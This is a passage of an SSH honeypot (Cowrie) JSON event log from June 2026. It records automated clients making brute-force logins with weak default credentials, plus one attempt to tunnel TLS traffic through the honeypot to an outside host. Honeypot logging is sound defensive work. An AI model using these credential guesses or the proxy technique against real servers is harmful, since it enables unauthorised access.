16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:48.416690Z","src_ip":"45.153.34.195","session":"5486fcf3b193","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:48.470537Z","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:48.750360Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g}:5\\xde\\xa6\\x1f\\x00\\xf3\\\\h\\x8b\\xd4==5\\xc6~\\x86\\x8b\\x1b\\xdd\\x85\\x87\\xcf\\x15\\r\\xee*(\\xf1& u\\x8d\\x1b)ne\\x0b\"\\x07>\\xe0\\x19\\x947\\xe9}\\xe8\\xa4~g9\\x88\\\\\\xc5E\\xf7\\xe4+\\xab\\xf5\\xd8d\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 .\\xb2\\x98\\x8b`\\xd2\\x86^4m\\'\\xcd|\\x07\\xeb\\x15\\xc0\\x9a\\xb6X\\x94p#\\xa3\\xe4\\x91\\xee\\xf4\\xda`3*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g}:5\\xde\\xa6\\x1f\\x00\\xf3\\\\h\\x8b\\xd4==5\\xc6~\\x86\\x8b\\x1b\\xdd\\x85\\x87\\xcf\\x15\\r\\xee*(\\xf1& u\\x8d\\x1b)ne\\x0b\"\\x07>\\xe0\\x19\\x947\\xe9}\\xe8\\xa4~g9\\x88\\\\\\xc5E\\xf7\\xe4+\\xab\\xf5\\xd8d\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 .\\xb2\\x98\\x8b`\\xd2\\x86^4m\\'\\xcd|\\x07\\xeb\\x15\\xc0\\x9a\\xb6X\\x94p#\\xa3\\xe4\\x91\\xee\\xf4\\xda`3*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:48.752996Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"no-reply","password":"123456","message":"login attempt [no-reply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:49.015425Z","src_ip":"91.92.40.36","session":"e1b86b919b49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:49.503633Z","src_ip":"113.164.152.20","session":"492b9491694b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234567","message":"login attempt [test/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:50.047628Z","src_ip":"45.153.34.195","session":"5486fcf3b193","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:50.367735Z","src_ip":"91.92.40.36","session":"b7042ab4ee9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:50.373255Z","src_ip":"91.92.40.36","session":"b7042ab4ee9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64278,"dst_ip":"159.203.135.109","dst_port":22,"session":"65d0d1674f7c","protocol":"ssh","message":"New connection: 91.92.40.36:64278 (159.203.135.109:22) [session: 65d0d1674f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:50.702484Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":30622,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4e57f97a831","protocol":"ssh","message":"New connection: 45.153.34.195:30622 (10.17.0.5:22) [session: f4e57f97a831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:51.273519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:51.277974Z","src_ip":"45.153.34.195","session":"f4e57f97a831","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:51.374671Z","src_ip":"45.153.34.195","session":"f4e57f97a831","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:51.452117Z","src_ip":"45.153.34.195","session":"5486fcf3b193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"12345678","message":"login attempt [daniel/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:51.951627Z","src_ip":"45.153.34.195","session":"f4e57f97a831","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:53.035400Z","src_ip":"45.153.34.195","session":"f4e57f97a831","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":27946,"dst_ip":"10.17.0.5","dst_port":22,"session":"fab02c28602f","protocol":"ssh","message":"New connection: 45.153.34.195:27946 (10.17.0.5:22) [session: fab02c28602f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:54.302639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:54.311449Z","src_ip":"45.153.34.195","session":"fab02c28602f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:54.385981Z","src_ip":"45.153.34.195","session":"fab02c28602f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:54.719014Z","src_ip":"45.153.34.195","session":"fab02c28602f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:55.802425Z","src_ip":"45.153.34.195","session":"fab02c28602f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.2","message":"Connection lost after 30.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:55.949207Z","src_ip":"91.92.40.36","session":"e1b86b919b49","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:56.575489Z","src_ip":"91.92.40.36","session":"65d0d1674f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:56.580452Z","src_ip":"91.92.40.36","session":"65d0d1674f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":27980,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f55911f0eb6","protocol":"ssh","message":"New connection: 45.153.34.195:27980 (10.17.0.5:22) [session: 4f55911f0eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:57.210686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:57.215924Z","src_ip":"45.153.34.195","session":"4f55911f0eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:57.307801Z","src_ip":"45.153.34.195","session":"4f55911f0eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:57.564216Z","src_ip":"45.153.34.195","session":"4f55911f0eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:58.650136Z","src_ip":"45.153.34.195","session":"4f55911f0eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28012,"dst_ip":"10.17.0.5","dst_port":22,"session":"00c5ef39df3c","protocol":"ssh","message":"New connection: 45.153.34.195:28012 (10.17.0.5:22) [session: 00c5ef39df3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:00.037920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:00.076325Z","src_ip":"45.153.34.195","session":"00c5ef39df3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:00.161679Z","src_ip":"45.153.34.195","session":"00c5ef39df3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:00.515306Z","src_ip":"45.153.34.195","session":"00c5ef39df3c","protocol":"ssh"}
